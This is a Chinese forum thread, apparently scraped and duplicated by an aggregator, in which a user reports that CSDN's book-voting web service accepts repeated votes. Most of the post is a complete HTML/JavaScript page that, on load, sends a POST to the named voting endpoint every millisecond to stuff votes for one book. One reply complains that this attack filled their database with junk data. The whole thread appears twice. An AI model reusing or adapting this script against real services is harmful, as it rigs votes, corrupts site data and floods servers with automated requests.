公开一个CSDN漏洞,该如何解决
日期：2014-05-20 浏览次数：20629 次
公开一个CSDN漏洞
发现关于http://book.csdn.net/下的一些投票都可以重复投
这个web service很特别
http://club.book.csdn.net/BookServer/bs.asmx
关于一个图书投票地址
http://club.book.csdn.net/people/mylist599.html
以下对上面地址刷票
<html>
<body onload= "Timer_submit() ">
<script>
function Timer_submit()
{
Submit();
window.setTimeout( "Timer_submit() ",1);
}
function InitDataWs()
{
if(window.XMLHttpRequest)
{
szRequest=new XMLHttpRequest();
szRequest.overrideMimeType( "text/xml ");
}
else
{
szRequest=new ActiveXObject( "Microsoft.XMLHTTP ");
}
szRequest.open( "POST ", "http://club.book.csdn.net/BookServer/bs.asmx/VoteDl ",true);
}
function Submit()
{
InitDataWs();
szRequest.setRequestHeader( "Content-Type ", "application/x-www-form-urlencoded ");
szRequest.send( "dlid=599&type=1 ");//dlid什么什么ID, type=0 代表没用,type=1 代表有用
szRequest=null;
}
</script>
</body>
</html>
或许这不算是个漏洞,大家看一下
------解决方案--------------------
我说 怎么数据库中这么多垃圾数据
都是你这个烂人用这种烂方法 作的烂攻击
------解决方案--------------------
厉害
------解决方案--------------------
AJAX
发现关于http://book.csdn.net/下的一些投票都可以重复投
这个web service很特别
http://club.book.csdn.net/BookServer/bs.asmx
关于一个图书投票地址
http://club.book.csdn.net/people/mylist599.html
以下对上面地址刷票
<html>
<body onload= "Timer_submit() ">
<script>
function Timer_submit()
{
Submit();
window.setTimeout( "Timer_submit() ",1);
}
function InitDataWs()
{
if(window.XMLHttpRequest)
{
szRequest=new XMLHttpRequest();
szRequest.overrideMimeType( "text/xml ");
}
else
{
szRequest=new ActiveXObject( "Microsoft.XMLHTTP ");
}
szRequest.open( "POST ", "http://club.book.csdn.net/BookServer/bs.asmx/VoteDl ",true);
}
function Submit()
{
InitDataWs();
szRequest.setRequestHeader( "Content-Type ", "application/x-www-form-urlencoded ");
szRequest.send( "dlid=599&type=1 ");//dlid什么什么ID, type=0 代表没用,type=1 代表有用
szRequest=null;
}
</script>
</body>
</html>
或许这不算是个漏洞,大家看一下
------解决方案--------------------
我说 怎么数据库中这么多垃圾数据
都是你这个烂人用这种烂方法 作的烂攻击
------解决方案--------------------
厉害
------解决方案--------------------
AJAX
免责声明： 本文仅代表作者个人观点，与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
